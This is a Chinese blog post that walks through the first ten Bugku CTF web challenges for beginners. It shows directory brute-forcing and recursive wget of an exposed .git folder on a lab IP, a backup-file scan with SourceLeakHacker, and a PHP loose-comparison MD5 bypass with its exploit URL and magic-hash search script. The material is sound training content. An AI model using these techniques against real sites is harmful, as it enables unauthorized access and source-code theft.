Bugku-CTF-web(适合初学者)
今天刷了一下 Bugku-CTF-web 的1-10题,比较简单,比较娱乐,基本上看看源代码就可以了,非常适合初学者。能够学习到base64编码,unicode编码,dirb web目录遍历,SourceLeakHacker 备份文件遍历,hackbar插件,wget 操作,git 操作,php 弱类型,md5 绕过等知识点。
ailx10
2001 次咨询
4.9
网络安全优秀回答者
互联网行业 安全攻防员
去知乎ailx10 咨询
1、滑稽
直接F12查看源代码
2、计算器
F12查看源,发现限制了输入长度
尝试修改,发现修改不了值,继续搜寻,发现code.js
前端代码中存在flag
3、alert
打开网页就是弹框,F12也看不了
废话不多说,view-source:
直接强制查看源代码
最后看到了一行注释
<!-- flag{660161422cfcd39036fbea17a0146f6e} --></script>
直接Unicode解码,拿到flag,也可以Python解码
import htmlencoded_str = "flag{660161422cfcd39036fbea17a0146f6e}"
decoded_str = html.unescape(encoded_str)print(decoded_str)
4、你必须让他停下
F12能看到flag,也是一瞬间就没有了,还是 view-source:
多刷几次,就拿到flag了
5、头等舱
查看源代码:线索应该在请求头里面
结果在响应头中找到了 flag
6、GET
阅读代码,发一个GET请求就能拿到flag
7、POST
阅读代码,使用 Hackbar 提交一个POST请求,即可获得flag
8、source
查看源代码,拿到flag线索
flag{Zmxhz19ub3RfaGvyzSEHIQ==}
使用base64解码,发现不是flag
尝试目录暴力破解
dirb http://114.67.175.224:12221/
可以发现存在 /.git/
目录
使用wget 递归下载
wget -r http://114.67.175.224:12221/.git
使用 git reflog 查看历史操作记录
使用 git show 40c6d51 查看到 flag
9、矛盾
在 PHP 中,当你使用 ==
进行比较时,如果比较的两个值类型不同,PHP 会尝试将它们转换为相同的类型,然后再进行比较
10、备份是个好习惯
没啥线索,根据题目,是有一个备份文件,暴力破解它
python3 SourceLeakHacker.py -u http://114.67.175.224:12717/
查看备份的php代码
<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
?>
要拿到 flag,需要满足条件 md5($key1) == md5($key2) && $key1 !== $key2
。
这意味着 $key1
和 $key2
的 MD5 哈希值必须相同,但 $key1
和 $key2
本身不能相同。[1]
http://114.67.175.224:12717/?kkeyey1=QNKCDZO&kkeyey2=240610708
写个PHP脚本,输出专属ailx10的字符串,哈希结果是以0e开头,后面跟着纯数字
- md5(ailx10597395974) = 0e607193511294857832340276123482
- md5(ailx101258820612) = 0e410179301007418220015365512318
<?php
function findMD5Collision($prefix) {// 循环尝试不同的字符串for ($i = 0; $i < pow(10, 12); $i++) {// 生成一个候选字符串$candidate = $prefix . $i;// 计算 MD5 哈希值$md5 = md5($candidate);// 检查哈希值是否符合要求if (preg_match("/^0e[0-9]{30}$/", $md5)) {echo $candidate;return $candidate; // 返回符合条件的字符串}}return false; // 如果没有找到,则返回 false
}$prefix = "ailx10"; // 我们希望字符串以 "ailx10" 为前缀
$string = findMD5Collision($prefix);
if ($string !== false) {echo "找到的字符串: " . $string . "\n";echo "MD5 哈希值: " . md5($string) . "\n";
} else {echo "未找到符合条件的字符串。\n";
}
?>
参考
- ^md5绕过(Hash缺陷) php 弱类型总结 - Mrsm1th - 博客园
发布于 2024-10-06 07:42・江苏